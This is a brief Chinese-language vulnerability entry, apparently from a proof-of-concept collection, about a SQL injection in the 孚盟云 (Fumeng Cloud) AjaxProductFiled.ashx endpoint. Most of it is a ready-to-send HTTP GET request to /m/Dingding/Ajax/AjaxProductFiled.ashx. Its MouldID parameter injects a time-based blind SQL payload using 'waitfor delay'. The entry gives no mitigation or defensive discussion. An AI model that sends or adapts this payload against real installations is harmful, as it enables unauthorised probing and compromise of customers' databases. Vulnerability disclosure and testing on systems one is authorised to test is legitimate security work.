孚盟云 AjaxProductFiled.ashx SQL注入漏洞

日期: 2025-09-22 | 影响软件: 孚盟云 | POC: 已公开

漏洞描述

孚盟云 AjaxProductFiled.ashx SQL注入漏洞

PoC代码

GET /m/Dingding/Ajax/AjaxProductFiled.ashx?method=savePuductFiled&MouldID=-1%27waitfor+delay%270:0:3%27-- HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36

相关漏洞推荐